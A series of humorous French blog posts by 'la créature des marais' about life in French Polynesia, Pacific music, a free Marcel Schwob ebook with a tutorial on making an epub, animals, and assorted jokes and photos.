  

  Si vous voulez vous faire une meilleure idée de Exuma, yacht que vous pouvez louer pour un million dollar par mois, allez sur http://www.luxuo.com/yachting/charter-superyacht-exuma.html

  

  
  

  PS : Je n’ai pas compris la manoeuvre. Arrivé à la nuit tombante, Exuma a mouillé hier soir, semble-t-il, deux ancres puis tourné sur lui-même toute la nuit et phares dehors qui éclairaient l’eau bleue. Pourquoi ? Merci de mettre un commentaire si vous avez une réponse.

  
• Hallu de ponton

  Les hallu de ponton pour faire pendant au palu de ponton, on n’arrête pas le progrès…

  

  
  

  Et en cadeau, une autre hallu en photo à 360°…

  PS : Si vous en avez assez (hallu, palu, ponton) de la créature des marais, faites un commentaire. Merci de votre attention.

  
• le palu de ponton

  

  

  
• Eglises de Papeari
  Les Eglises de papeari sont très proches au sens géographique du terme. Si vous vous demandez en quoi cela peut être surprenant, il faut savoir que, hormis Papeete et les communes limitrophes, les autres communes sont bâties de part et d’autre de la route qui fait le tour de l’île, entre les montagnes et le lagon. Le concept de rue-village.

  

  
  

  Papeari est donc une commune longiligne de 6 km et il existe sûrement une raison objective à ce que les Eglises soient situées au même endroit. Quelle est cette raison, je l’ignore. Toujours est-il que nous trouvons pas moins de quatre Eglises en moins de trois cents mètres…

  

  Comme le montre cette pancarte, c’est bien une Eglise de Chrétiens.

  

  Bon, d’accord, là ce sont des mormons mais ils aiment Jésus aussi, non ?

  

  J’aime le petit  clocheton au sol de l’église protestante

  

  Une Eglise catholique, apostolique et romaine loin de chez elle

  Cette proximité spatiale rapproche-t-elle les Chrétiens des quatre Eglises dans un joyeux oeucuménisme, je n’en sais rien. L’on m’a dit que les Tahitiens changent parfois d’Eglise, un trajet plus court pour les apostats ? Serait-ce l’explication, j’en doute.

  
  

  Bref, je ne vous ai pas appris grand-chose mais si quelqu’un(e) a des éléments re réflexion ou de simples hypothèses à ce sujet, je suis preneur.

  Merci de votre attention

  PS : J’aurais dû aller me renseigner auprès de ces Eglises mais je suis timide. Et puis, il est trop tard, nous avons quitté Papeari et ses Eglises…

  
• Déménagement à Raiatea
  Déménagement à Raiatea

  
  

  Si la créature des marais ne publiait pas ces derniers temps, ce n’est pas du tout parce qu’elle se prélassait mais parce qu’elle a déménagé comme elle est accoutumée de le faire périodiquement, cette fois-ci pour Raiatea. Peut-on en déduire que la créature des marais est semi-nomade ? Oui, peut-être, bien qu’elle soit très casanière.

  
  

  Cargo de nuit

  
  

  Fini, Papeari. La CdM est montée avec ses cartons sur un cargo ami, le Hawaiki Nui. Comme la créature des marais, ce cargo turquoise a quitté la zone boréale pour naviguer entre les tropiques où – ceteris paribus sic stantibus – on se gèle moins les pedibus.

  
  

  

  
  

  Ci-dessus, le Hawaiki Nui qui se nommait Langlade du temps qu’il nageait autour de St Pierre et Miquelon.

  
  

  Débarquement à Raiatea

  
  

  La traversée entre Papeete et Uturoa, capitale de Raiatea, ne prend qu’une nuit et c’est au petit matin que l’on franchit la passe du lagon de Raiatea. Voici une vidéo du débarquement.

  
  

  
  

  Lever du soleil à Raiatea

  
  

  Ayant rejoint son nouveau domicile et se levant fort tôt, la créature des marais est heureuse de vous montrer le soleil qui se lève fort tôt également à Raiatea.

  
  

  

  
  

  Bientôt de nouvelles images… Merci de votre attention.

  PS : Lolobobo me signale dans un commentaire que l’ancien nom du cargo « Langlade » correspond à une île de l’archipel de St Pierre et Miquelon. Merci, Lolo.

  
• Hawaï 78-Israel Kamakawiwo’ole

  Le gentil Géant

  Bien sûr, on ne présente plus l’immense artiste, Israel Kamakawiwo’ole, fils chéri de Hawai’i - l’apostrophe dans les langues océaniennes correspond à une occlusion glottale, comme dans une-hache, vous pouvez sachant cela prononcer correctement le patronyme de notre ami – dont la célébrité internationale fut, hélas, posthume.

  J’étais resté perplexe en 2002 chez un disquaire de Lifou devant l’illustration de l’album Facing future : Le fat boy de dos face mer en pareo. La disquaire, me voyant interloqué, me parle de Israel, IZ de son petit nom. Et puis, l’autre jour, le grand Nikita Mandryka, père du Concombre Masqué partage son admiration pour Israel et ses hits :  Over the rainbow/ What a wonderful world. Je feuillette le web et tombe sur cette vidéo d’un live qui transcende à mon avis la version de l’album : Hawai’i 78.

  
  

  
  

  Je ne vous fais pas la bio que vous trouvez sur Wikipedia. On y apprend les causes prévisibles du décès prématuré d’Israel, 1 m 90, 343 Kg, insuffisance respiratoire. Et pourtant la voix du gentle giant d’un souffle puissant et magique suscite une nostalgie profonde. Dans le clip, le métissage des musiciens n’empêche pas Israel de chanter l’identité polynésienne. Et Hawai’i 78 est une chanson en laquelle Israel imagine avec une infinie tristesse le couple royal ma’ohi revenu à la vie, contemplant son pays dévasté par les gratte-ciel et les autoroutes. La Reine et le Roi y pleurent de voir leur pays devenu un condominium et leur peuple en danger. Le gentil géant nous invite à verser nos larmes avec eux.

  Ce chant lyrique rappelle Diderot et son cri prémonitoire qui traverse les siècles : « Pleurez, Ô malheureux Tahitiens ! ». Hawai’i 78 est une chanson politique et poétique, Israel sous son apparence horrificque nous charme par sa sensibilité, il faut aussi se rappeler qu’il défend une cause à laquelle vous devez vous montrer sensible. C’est pourquoi je vous demande de faire un haka de 3 minutes à la mémoire de ce gras et grand artiste que fut Israel Kamakwiwo’ole et en honneur à la place qu’il occupe dans la musique du Pacifique.

  Les Peuples premiers sont toujours persécutés – il faut s’en souvenir. Voici deux liens qui peuvent vous intéresser : Survival et Okamag dont je reparlerai.

  
  

  Voici les paroles, utiles notamment pour le haka, mais vous pouvez improviser ou chanter en yaourt. Merci de votre attention.

  Hawai’i 78 par Israel Kamawiwo’ole

  UA MAU KE EA O KA ‘AINA I KA PONO O HAWAI’I

  (rough transalation: The constant, wet Rain Gives Life to the land
  and brings goodness/change to Hawaii)

  If just for a day our king and queen
  would visit all these islands and saw everything
  How would they ’bout the changing of our land
  Could you just imagine if they were around
  and saw highways on their sacred grounds
  How would they feel if they ’bout this modern city life

  Tears would come from each others eyes as
  they would stop to realize
  that our people are in great, great danger now

  How would they feel
  would their smiles be content
  rather then cry
  cry for the gods, cry for the people
  cry for the lands that were taken away
  and in it you’ll find Hawaii

  Could you just imagine if they came back
  and saw traffic lights and railroad tracks
  How would they feel about this modern city life
  Tears would come from each others eyes as
  they would stop to realize
  that our land is in great, great danger now

  All of the fighting that the king had done
  to conquer all these islands
  now there’s condominiums
  How would he feel if saw Hawaii now

  How would he feel
  would his smiles be content
  rather then cry
  cry for the gods, cry for the people
  cry for the lands that were taken away
  and in it you’ll find Hawaii

  UA MAU KE EA O KA ‘AINA I KA PONO O HAWAI’I

  
  
  

  
• Ebook gratuit : Trois vies imaginaires de Marcel Schwob

  Qu’est-ce que c’est que cet ebook ?

  Un ebook gratuit fabriqué par la créature des marais en guise de cadeau estival avec trois nouvelles des Vies imaginaires de Marcel Schwob. Biographies courtes et variées d’un paléographe de profession, ami de Paul Verlaine et Stéphane Mallarmé et peu connu du grand public.  Bien sûr, Schwob prend quelques libertés avec l’exactitude mais le choix de ses « personnages » n’est pas irraisonné et sa manière de les soigner blanchit quelques tombeaux. Cet homme est un humaniste, un vrai, un paléographe, autant dire un dinosaure.

  Vous êtes geek ? Comment se la péter à la terrasse d’un café en bord de plage ? Ou même au cabinet chez le podologue avec votre android ou votre ipad ? En souriant de béatitude à la lecture de Marcel Schwob dont la prose délicate vous emmènera sur le chemin tourmenté de Fra Dolcino, fondateur d’une hérésie médiévale – Si vous avez vu ou lu Le Nom de la Rose, vous vous rappelez un de ses disciples repentis, le monstrueux Salvatore qui s’écrie « Penitenziagite » ? – et, surtout, surtout, quand on vous demande ce que c’est que cet ebook que vous lisez, vous répondez suavement : C’est du Schwob.

  La seconde nouvelle nous transporte au nouveau monde et l’auteur y conte la tragédie amérindienne incarnée par la célébrissime Pocahontas : Elle était au cinéma et désormais en ebook.

  L’histoire édifiante du Capitaine Kid, inspirée par le fameux pirate William Kidd, compose le troisième volet de cet ebook de présentation des « Vies imaginaires » de Marcel Schwob. J’ai même ajouté quelques notes de bas de page… Alors, pour cet ebook, on dit merci qui ? Bon, OK, ça ne vous intéresse pas. Break, un petit jeu.

  Bonus : Devinez le mot-clef principal de cet article ?

  

  
  

  Comment créer votre propre ebook si l’idée vous en prend et que vous ne savez pas utiliser internet ?

  
  

  Étape 1 : Le texte libre

  • Vous choisissez vos propres écrits ou une oeuvre libre de droits que vous aimez. Cela nous renvoie souvent un siècle en arrière pour les écrivains…
  • Le cas échéant, vous vérifierez qu’il n’existe pas de version ebook de cette oeuvre.
  • S’il existe une version ebook, ne vous cassez pas la tête.

  Étape 2 : Le texte numérisé, en image ou en texte

  • version compliquée : Aucune version numérique n’existe sur le net et vous devez, la possédant en format papier, scanner chaque page de l’oeuvre puis utiliser un OCR, logiciel de reconnaissance optique de caractères, pour obtenir autant de pages .doc ou .odt pleines de choses à rectifier puis à recoller, ça va être très douloureux.
  • Version simple : Il existe une version numérisée via OCR sur le net. Soit, cette version est numérisée mais de façon brute (par des Américains, en général) et alors vous devrez corriger vous-même. Le labeur est proportionnel au nombre de pages. Encore mieux, vous dégottez une version propre en format texte. En ce cas, vous êtes vernis.

  Étape 3 : La mise en forme et l’exportation, votre mission

  Vous mettez votre texte en forme sous Writer de Open Office. Pas fioritures mais de la clarté. Titre, auteur – éventuellement votre pseudo pour l’éditrice/éditeur. Allez à la ligne à chaque paragraphe et faites des sauts de page (Insertion/Saut manuel) à la fin des chapitres. Il n’est pas nécessaire de justifier le texte mais vous pouvez centrer selon vos désirs. Pour plus de facilité, il est conseillé d’utiliser les options de titre pour structurer le titre principal et les chapitres (comme ça, le lecteur peut naviguer via la table des matières d’après vos titres, c’est cool).

  Ensuite, vous téléchargez l’extension writer2epub pour Open Office qui s’installe à l’aise et va vous permettre d’exporter votre document en ebook format epub : Dans la barre des tâches, s’ajouteront des petites icônes vertes en haut à gauche de Writer. Le logo, on dirait une demie croix gammée qui a perdu son chemin.

  

  Ouvrez votre document texte avec Open Office, enregistrez-le sous un autre nom puis cliquez sur l’icône verte la plus à gauche.

  A ce stade, la fenêtre d’options ebook s’ouvre : vous devez vérifier et renseigner les informations élémentaires (titre, auteur, etc.) en remplissant les cases, vous pouvez ajouter des tags.

  Par défaut, la couverture comporte le titre et l’auteur mais vous pouvez la customiser au moyen de votre éditeur graphique préféré, par exemple GIMP. Le format d’une image en portrait de 800X1200 avec une qualité médiane est suffisant, on peut faire plus petit. Vous placez l’image sur la première page de votre fichier texte dans Writer et, dans la fenêtre d’options à l’export, vous activez « utiliser la première image ». Ô joie supplémentaire ! Writer2 redimensionne les images pour les lecteurs tout petits.

  Vous pouvez également incorporer des images illustratives le long de votre fichier .odt initial par un subtil drag & drop sous Writer. Je vous suggère de les introduire très petites, genre 50×80. Le ebook aux normes, un bon moyen de faire des présentations, tout en open source et en finesse, mais faut pas abuser comme moi.

  Étape 4 : C’est beau un ebook, la nuit

  Vous aurez certainement quelques réglages à effectuer pour obtenir ce qui vous plaît comme mise en page. En revanche, votre ebook devrait vous épater, surtout si vous avez un lecteur qui gère les pages qui tournent… Rien ne vous interdit d’intégrer des liens dans le fichier .odt et il paraitrait même qu’on peut y placer des vidéos, or je n’ai pas encore essayé mais est-ce bien nécessaire…

  
  

  

  Marcel Schwob vous regarde

  faire un clic droit sur la couverture pour enregistrer le ebook

  au format epub (300 Ko) : Le poids des images.

  
  

  En conclusion, faire son ebook, ce n’est pas sorcier grâce aux prodigieux logiciels Open Source : Merci, les gens qui font de l’Open Source – encore un, le logiciel Calibre, qui autorise des corrections très pointues, par exemple, éclater le fichier epub pour modifier ceux qui le composent séparément ou encore pour les pros, Adobe Indesign, payant et très technique, qui permet des choses somptueuses mais je ne sais pas faire.

  Si vous deviez vraiment tout faire vous-même, d’ailleurs… vous ne feriez pas de ebook. En effet, le  fichier ebook – compatible avec de nombreux appareils – est un format epub à base de .txt, de .html, de .xml, de .xhtml, de .png, de .jpg, de .css sans compter le .opf, le .ncx et le mimetype. Alors, vous pensez bien qu’il faut un sacré calibre pour l’éclater.

  Tiens, à propos, mon ebook ne comporte que trois biographies des Vies imaginaires, il en reste 19… Vous les trouverez sur le site officiel et au bas de cet article, la liste des personnes biographiées : j’espère qu’il y en a une au moins qui me linkera d’outre-tombe car les statistiques du blog de la créature des marais sont en berne. C’est normal, pour nombre d’entre vous, ce sont les vacances. Le moment de se distraire et de se cultiver en lisant des nouvelles de Schwob sur ebook…

  Les 19 autres biographies sont en ligne, allez un ebook chacun(e) avec une belle couverture qui flashe ! Puis vous me l’envoyez et on fonde une bibliothèque virtuelle spéciale Schwob… C’est moins lourd quand on déménage.

  • Erostrate, Incendiaire
  • Cratès, Cynique
  • Septima, Incantatrice
  • Lucrèce, Poète
  • Clodia, Matronne impudique
  • Pétrone, Romancier
  • Sufrah, Géomancien
  • Cecco Angiolieri, Poète haineux
  • Paolo Uccello, Peintre
  • Nicolas Loyseleur, Juge
  • Katherine la Dentellière, Fille amoureuse
  • Alain le Gentil, Soldat
  • Gabriel Spenser, Acteur
  • Cyril Tourneur, Poète tragique
  • William Phips, Pêcheur de trésors
  • Walter Kennedy, Pirate illettré
  • Le Major Stede Bonnet, Pirate par humeur
  • Empédocle, Dieu supposé

  PS : Il faut aussi un logiciel pour lire les fichiers .epub, j’avais oublié de vous le dire mais je subodore que quiconque saura faire un .epub saura également trouver un moyen de le lire au mieux de ses fonctions, avec les pages qui tournent en vis à vis, la table des matières, les renvois automatiques pour les notes de bas de page, les signets, la possibilité de redimensionner la taille des caractères (plus de lunettes) et de régler la luminosité (plus de lampe de chevet).

  PPS : J’ai prêté mon exemplaire concret des Vies imaginaires il y a fort longtemps. Il me semblait qu’il y avait aussi une bio de François Villon, non ?

  Merci de votre attention.

  
• Un petit navire au Vanuatu.

  Hilarant. Une vidéo d’un visiteur français à Efate au Vanuatu. Il a filmé un enfant manifestement peu francophone qui chante « il était un petit navire » accompagné par le string band familial.

  
  

  
  

  Hilarant et émouvant pour qui a voyagé au Vanuatu. Toute l’ambiance du string band est là : Le papa, le tonton, les enfants et même le Vieux dans son fauteuil derrière le cocotier. Rappelons que le Vanuatu, ex-Nouvelles Hébrides, est un cas unique de la colonisation, le fameux condominium placé sous l’autorité double de la Couronne britannique et de la République française. Selon les Ni Vanuatu à l’époque, leur pays était gouverné par la reine d’Angleterre mariée au président français. Couple très improbable… Merci de votre attention.

  
• Musique de Kanaky – 5 – Gulaan

  OK! Ryos, groupe de Kanaky

  Voilà un groupe disparu de Maré dont je n’avais pas parlé. Son leader était Gulaan alias Edouard Wamejo de la tribu de Penelo à Nengöne. Les mélodies vocales de OK! Ryos sont sublimes – et je pèse mes mots – en revanche, si Gulaan n’a pas un air aimable, on n’y peut rien. J’ai vu Gulaan en live à Lifou mais il a remarqué que je voulais le filmer en douce depuis le public et m’a considéré de la scène d’un oeil désapprobateur : j’ai aussitôt cessé de filmer, je ne veux pas déranger… Je ne savais pas que Gulaan avait souvent cette expression revêche comme vous pourrez en juger dans le clip ci-dessous.

  Gulaan quitte la scène

  La vidéo « kini kinibut » n’est pas géniale et la qualité du son non plus mais la chanson et les voix magnifiques (version meilleure mais avec intro émission clipzik). A cause de l’isolement naturel et de la diversité des langues, la musique de l’Océanie continue à être tristement ignorée. Gulaan a renoncé à chanter et il a donné son dernier concert en août 2010. Ce serait bien s’il revenait…

  
  

  
  

  Cet article sur Gulaan fait suite aux précédents articles sur Bethela, Gurejele, Edou et Fedyz (tapez ces noms dans le moteur de recherche google personnalisé au bas de la page si cela vous intéresse) et d’ailleurs, c’est Lolobobo qui m’a sorti de ma paresse avec l’idée de sa revue de stress… Je vais balancer quelques vidéos du Pacifique dans les prochains jours.

  
• Tahiti vaa express

  La nouvelle vidéo de la créature des marais s’appelle Tahiti vaa express. Toujours de l’humour… On filme un vaa à Papeari et hop, en express, voilà le vaa dans le port de Papeete.

  
  

  
  

  Au moins, il retrouvera des copains vaa, comme on peut le voir dans le diaporama sur le parking des vaa. C’est vrai que dans le port, il est plus visible que dans le lagon : voir l’article The blue Vaa ou comment être invisible dans le lagon. Merci de votre attention.

  
• Oiseau nettoyeur de chat

  A l’instar des pluvians et des labres, des rémoras et des pique bœufs, l’oiseau nettoyeur de chat vit en symbiose avec un autre animal : le chat. Les photographies ci-dessous illustrent cette relation exceptionnelle entre l’oiseau et le chat.

  Oiseau juché sur le dos du chat

  

  Un oiseau qui joue le pique-bœuf sur un chat ? Quand on sait quel sort réserve habituellement le félin aux petits animaux (comme le rat, par exemple, ou le lézard ), on s’étonne de l’audace de l’oiseau. Ne se méfie-t-il pas du chat qui dort ?

  Oiseau pris par le chat sous son aile

  

  
  

  
  

  Surprise : Audaces fortuna juvat. Le chat adoube placidement l’oiseau en apposant les coussinets sur le plumage. Désormais ils sont bons amis, de la patte à la patte, l’oiseau peut alors lui faire des papouilles en se nourrissant de quelques puces juteuses.

  La toilette sous les aisselles

  

  Le gratouillis du bec semble ravir le chat, les délices de ce traitement lui font oublier la vulnérabilité de l’oiseau, sa nature comestible et le fait qu’ils soient deux organismes hétérospécifiques.

  Oiseau sous la queue du chat

  

  Mieux encore le chat a une confiance totale en l’oiseau car l’oiseau est minutieux et il n’hésite pas à se positionner sous la queue du chat pour procéder à la toilette intime.

  Le nettoyeur de coucougnettes

  

  
  

  Oui, le nettoyeur de coucougnettes, c’est ainsi qu’on appelle cet oiseau très bizarre. Le risque majeur est évité pour le chat : les oiseaux n’ont pas de dents. Ces photos ont été envoyées par Bribri de Manihi de l’atoll du même nom, elle accorde son aimable autorisation pour les publier sur ce blog avec mes commentaires idiots : Merci Bribri et merci de votre attention.

  
• Régime : Comment j’ai perdu 15 Kg en 3 mois

  Comment j’ai perdu 15 Kg en 3 mois ?

  J’ai perdu non pas 5, non pas 10 mais 15 Kg en 3 mois en suivant un régime tout à fait spécifique. Mon régime spécifique est-il un secret ? Non seulement, mon régime n’est pas un secret mais en plus, je vais vous le révéler gratuitement sans vous vendre quoi que ce soit ! Oui, vous avez bien lu : j’ai perdu 15 Kg en 3 mois et je vais vous livrer le secret de ce régime comme ça, bêtement sans vous vendre de livre ou de e-book ou de vidéo à la con, ni même continuer à vous baratiner une ligne de plus.

  En quoi consiste ce régime ?

  C’est assez simple. Quand j’ai faim en dehors des repas, je mange soit du melon, de la papaïe ou de l’ananas, soit des galettes de sarrasin non-garnies, pas même beurrées et je ne bois plus de bière. Bon, il faut détailler un peu la mise en oeuvre du régime. Pour les fruits, aucun problème si vous habitez l’endroit où ils poussent et je recommande la salade en menus morceaux, éventuellement panachée – évitez le régime de banane. Pour la galette de sarrasin, c’est plus technique : il faut travailler la farine pure pendant de longues heures avec les pieds tout en lisant guerre et paix, laisser reposer puis cuire les galettes une en une dans la poêle graissée de saindoux en vous concentrant sur les petits trous qui se forment. Pour la bière, c’est très facile, il suffit de ne plus en boire.

  

  Qui peut suivre ce régime ?

  Personnellement, je déconseille à quiconque de suivre mon régime. Il faut être complètement idiot pour se nourrir essentiellement de galettes de blé noir et de fruits de saison. C’est vrai. Mais qui me dira que ça fait du mal d’arrêter la bière ? La preuve, avec ce régime, j’ai perdu 15 Kg en 3 mois.

  PS : Si quelqu’un se demande pourquoi la créature des marais n’écrivait plus, c’est qu’elle était cachée dans un container désaffecté à assembler en secret le bateau pirate play-mobil depuis tout ce temps-là et pourtant elle est à plein régime….

  
• Prix de la baguette dans les DOM-TOM

  Où sont les DOM-TOM ?

  Contrairement à certains ministres qui ne fréquentent que les marais mondains, la créature des marais, elle, connaît le prix de la baguette. Et particulièrement dans les DOM-TOM où  elle passe 99% de son temps sans compter les jours fériés.

  
  

  Et comme d’habitude, on ne se mêlera pas de comparer le coût de cette spécialité parisienne dans les boulangeries traditionnelles de Cayenne, Fort-de-France, Mamoudzou, Nouméa, Pointe à pitre, St Denis, St Pierre et autres communes moindres dont l’énumération vous est épargnée. Non, au-delà du prix réel de la baguette dans les DOM-TOM, nous parlerons plutôt de prix symbolique.

  

  De toute façon, le français moyennement cultivé situe tous ces endroits loin de chez lui, à juste raison. Et, à moins d’y être allé, il sait seulement que son propre pays entretient avec des contrées si étrangères des « relations privilégiées » et qu’on y trouve facilement des bananes, des noix de coco ou du poisson salé. Donc le français moyen, à juste titre, se fiche éperdument du prix de la baguette dans ces DOM-TOM. Ces départements et territoires qui ne sont plus fameux que par les rêves de bagne ou de paradis d’aïeux à barbiches depuis longtemps défunts et dont il ne reste qu’une corne d’antilope.

  

  
  

  Le prix de la baguette dans les DOM-TOM

  Ce que le français moyen d’aujourd’hui ignore, c’est que les DOM-TOMIENS aiment la baguette qu’on leur a d’abord administrée à coût de trique, si j’ose dire.  Là-bas aussi, la baguette est achetée quotidiennement, mastiquée par des myriades de bouches qui s’expriment dans des sabirs effrayants pour le français moyen mais qui communient dans la foi de leur identité nationale par cet acte sacré. Car la baguette est l’essence de la Francitude ! Mais si, souvenez-vous, le béret et le camembert ont passé, la baguette est restée sous des formes diverses, parfois molle et longue comme un jour sans pain quand le boulanger s’appelle Wong-Chou et vit à Boulouparis.

  

  Une fois de plus, on pourra tergiverser. Que nous raconte-t-on ? Qui est ce Monsieur Wong-Chou ? Certes, il est intéressant de savoir que les DOM-TOM qui seront un jour indépendants puissent témoigner de leur attachement à la fine fleur de la boulange française mais quel est l’intérêt de parler de la baguette dans les DOM-TOM spécialement ?  On mange aussi de la baguette à Pékin ou à New-York ? Oui, mais dans les DOM-TOM, le blé, ça ne pousse pas…

  PS : Je viens de vérifier qu’aucun boulanger se nommant Wong-Chou ne se trouve dans l’annuaire de Boulouparis. Par conséquent la baguette du chinois, ce doit être une allégorie et non du racisme imbécile. Et quant à la consommation de la baguette française à New York, je crains qu’elle n’ait baissé depuis quelque temps.

  
• Vidéo des cascades de Faarumai

  Non loin du tunnel de Arahoho et du fameux trou du souffleur, au bout d’une servitude fleurie, se trouve le chemin qui mène aux cascades de Faarumai ou Fa’auruma’i. Comme toutes les beautés de Tahiti, les trois cascades ont leur légende. Haamaremare rahi et Haamaremare iti, les chutes jumelles  sont la métamorphose de Faùai, la princesse tapu, et Ivy, le génie de la vallée.  Quant à la troisième cascade, Vaimahuta, ce sont les gardiens de la première qui menaçaient le second et ont – malheureusement pour eux – été changés en blond wasserfall. Vous pouvez lire la légende intégrale sur le site Tahiti Héritage.

  Une petite promenade en vidéo ?

  Merci de votre attention.

  
• L’estuaire de la Titaaviri

  Avant-propos

  Peut-on faire une photo acceptable par temps couvert quand on est un blaireau à Papeari ? La réponse est oui, si on a un bel appareil et grâce à la technologie HDR déjà mentionnée dans Soleil couchant sur Papeete. Même avec un paysage naturel sombre et une lumière blanche, on peut rattraper le coup. Et voici donc, sous le ciel gris, l’estuaire de la Titaaviri et par derrière des cônifères.

  
  

  

  
  

  Qu’est-ce que la Titaaviri ?

  C’est une rivière et une vallée au fond de laquelle on a édifié une retenue d’eau pour produire de l’énergie.  Je ne suis pas allé jusque là mais d’autres si : allez voir les photos d’Aurélien pour vous faire une idée des cascades fines qui tombent à pic dans le petit lac des montagnes.

  L’estuaire de la Titaaviri

  Estuaire paraît d’un emploi présomptueux où l’on aurait attendu embouchure. La Titaaviri n’est certes pas l’Amazone mais son « estuaire » change sans cesse de conformation. Depuis peu, cette barre de sable corallien ne laisse qu’un étroit chenal, rive droite, dont les eaux se jettent dans un bassin retenues sans force par un arc de sable, où pénètre la langue de l’océan. C’est très joli indépendamment de la médiocrité du texte et de la photo…

  
  

  

  
  

  Merci de votre attention.

  
• L’éléphant teckel
  Tout les oppose. L’éléphant, archaïque, qu’on déguiserait aisément en son père du fond des âges, le mammouth, à l’aide d’un très grand manteau en woolmark. Le teckel, récente création humaine du XVIIe siècle, déclinable en 27 variations : kanninchen, nains et standards – poil ras, dur ou long – monochromatique, bicolore ou arlequin.

  
  

  Le teckel ou chasseur de blaireaux, animal par conséquent très utile, est devenu bête de compagnie urbaine. Avec ses petites pattes, il peut se défouler en appartement. Malheureusement, les agréables qualités qu’il partageait autrefois avec l’éléphant (loyauté, vivacité, adresse) ont laissé place aux instincts dégénérés de l’animalcule canin d’intérieur : jalousie, irascibilité et sournoiserie.

  
  

  Ne croyez pas que j’aie été mordu par un teckel étant enfant. Il faut bien constater cependant que les chiens d’appartement sont souvent caractériels quelle que soit leur race.

  
  

  Certes, du temps où il était chien de meute, le teckel sachant dénicher les chinchillas au fond de leur nichoir, concourait couramment à la courre, en chien courant, derrière le gibier qui savait s’encourir. C’est pourquoi en terme de chasse, il est classé comme race et groupe. Ce qui n’est pas le cas de l’éléphant.

  
  

  Mais à ce propos, considérons ce parallèle écrasant entre l’éléphant et le teckel, nonobstant les talents de ce dernier : Les éléphants se partagent en 3 espèces. Et un copié-collé wikipedia, un !

  • Loxodonta africana, l’éléphant de l’écho des savanes
  • Loxodonta cyclotis, l’éléphant de l’appel des forêts
  • Elephas maximus, l’éléphant nazi

  Alors que les multitudes de chiens-saucisses de toutes tailles, couleurs et poils – et d’ailleurs, comme tous les chiens de cette planète du chihuahua au danois – n’appartiennent qu’à une seule et vulgaire espèce : Canis lupus familiaris. Alors, un éléphant-teckel, laissez-moi rire…

  
  

  
  

  Pour figurer plastiquement l’absurdité d’une telle créature, nous avons réalisé un modèle en pâte à modeler (notre atelier de modifications génétiques est actuellement en réfection). Voyez plutôt.

  
  

  

  De toute façon, même avec la génétique, ça poserait un problème. Merci de votre attention.

  
  

  
• Explosion de chiot

  Qu’est-ce qu’on ne va pas encore inventer pour que les visiteuses et les visiteurs laissent un commentaire sur ce blog ? Allez… on a des idées ou alors on copie un humour déjà usé. Par exemple, le chantage à l’explosion de chiot.

  Alors voilà, soit vous laissez un commentaire soit nous faisons exploser le mignon petit chien chien dans la vidéo ci-dessous.

  Merci de votre attention.

  PS : Le chiot n’a pas souffert des effets spéciaux.

  
• Soleil couchant sur Papeete

  Oui, soleil couchant sur Papeete mais en HDR et du Belvédère ! En effet, cette photo aurait pu s’appeler Vue plongeante depuis le Belvédère dans la pénombre sur le port et la ville de Papeete avec soleil couchant et caché derrière les montagnes de l’île de Moorea.

  

  Oui, j’aurais pu l’appeler comme ça mais cela ressemble davantage à une traduction en abrégé de la langue des Ents  dans le Seigneur des Anneaux et je crois que les honnêtes visiteurs se fatiguent assez vite de ce genre d’allusion cryptique. Causons technique ? Le HDR, c’est superposer des photos prises selon plusieurs expositions.

  Donc, ce soir-là, on n’y voyait pas plus loin que son nez au Belvédère, les maisons au premier plan étaient dans l’obscurité : Seules les harmonies chromatiques du ciel flamboyaient sur nos rétines.

  

  L’appareil photographique – lui – possède ce talent de pouvoir regarder longuement sans ciller à ce point qu’il distingue fort bien les villas dans les ténèbres. En revanche, la subtilité du dégradé céleste lui échappe…

  

  
  

  Alors, on utilise la fonction HDR automatique pour mixer les photos, une, deux, trois et hop.

  
  

  PS : Si vous ignoriez cette technique, vous comprenez maintenant pourquoi les nuages de la photo HDR ont une ombre fantôme. Merci de votre attention.

  
• Quiz de la CdM

  Que savez-vous vraiment au juste de la Créature des Marais ? Voici l’occasion rêvée de vérifier vos connaissances ou d’en apprendre plus, en 7 questions seulement, avec…

  LE QUIZ DE LA CDM

  La Cdm est-elle vraiment née dans un marais il y a très longtemps ?

  
  Non, elle est arboricole.
  Absolument pas, elle est de la dernière pluie de météorite.
  Certainement.
  Pas du tout, ce serait une créature hybride née au large d'Innsmouth.
  

  Combien la CdM a-t-elle de testicules ?

  
  Aucun.
  Deux.
  Un seul.
  Cinq.
  

  Quel est le vrai métier de la CdM ?

  
  Agent en développement rural.
  Analyste en fusion-acquisition.
  Auxiliaire d'animation.
  Audioprothésiste.
  

  Pourquoi la CdM est-elle chauve ?

  
  C'est mieux pour sourire.
  A cause d'un fruit à pain radio-actif.
  On dépense moins en coiffeur.
  Pour mourir le crâne brisé par une tortue que précipite un aigle au lever du soleil.
  

  Pourquoi la CdM est-elle verte ?

  
  Parce que c'est chouette pour le camouflage quand on vit dans la nature.
  Parce qu'elle se nourrit exclusivement de moules vertes de Nouvelle Zélande.
  Pour réagir vigoureusement à l'ineptie des décisions européennes contre le libre usage des ressources phytosanitaires naturelles.
  Parce que qu'elle a regardé trop de séries avec des créatures vertes à la télé.
  

  La Cdm a-t-elle des talents particuliers ?

  
  Elle peut bouger les oreilles.
  Elle imite le Donald.
  Elle est capable de suivre un épisode entier des Feux de l'amour.
  Elle résiste aux températures hivernales en se riant d'elles.
  

  Pourquoi la créature fait-elle un blog ?

  
  Parce qu'elle a un penchant inavouable pour l'humour de mauvais goût.
  Parce qu'elle est une experte en langages interplanétaires et tient à le prouver.
  C'est qu'elle veut partager ses photographies de fleurs avec le monde entier.
  La vérité est qu'elle adore se tracasser avec d'inextricables trucs en informatique.
  

  
  
  

  
• Marais à Rangiroa

  Ainsi la créature des marais fut-elle nommée pour ce qu’elle naquit dans un marais-salant. Evidemment, ce blog aurait pu s’appeler www.lasupercreaturedesmaraissalantsdeguerande.bzh mais vous comprenez bien que c’était un peu long comme adresse.

  Si vous voulez quand même plus de renseignements sur le sujet, cet article fait avantageusement le point. Revenons au marais polynésien, s’il vous plait.

  Comme la chenille chérit son cocon,  le cochon sa cochonnerie et le chien son chenil, la CdM aime les marais. C’est pourquoi elle repère infailliblement les bons coins et les prend en photo.

  

  Voici un petit marigot de Rangiroa dans les Tuamotu. Idéalement niché dans une palmeraie, cet écrin de vase aux couleurs chatoyantes abonde en larves diverses. La plage est à quelques palmes et le premier macdonald à seulement trois jours de navigation. Détail de charme authentique : les toilettes sont au fond du jardin (de corail).

  

  C’est tout pour aujourd’hui, merci de votre attention.

  
• Encore un rébus

  Bonjour ! On avait fait un rébus stupide sur le climat de Guyane. Il était difficile. Alors, on a décidé d’en faire un plus simple.

  
  

  

  
  

  Ah bon, c’est encore un rébus tordu ? D’accord.

  La solution

  
• Révision et novation

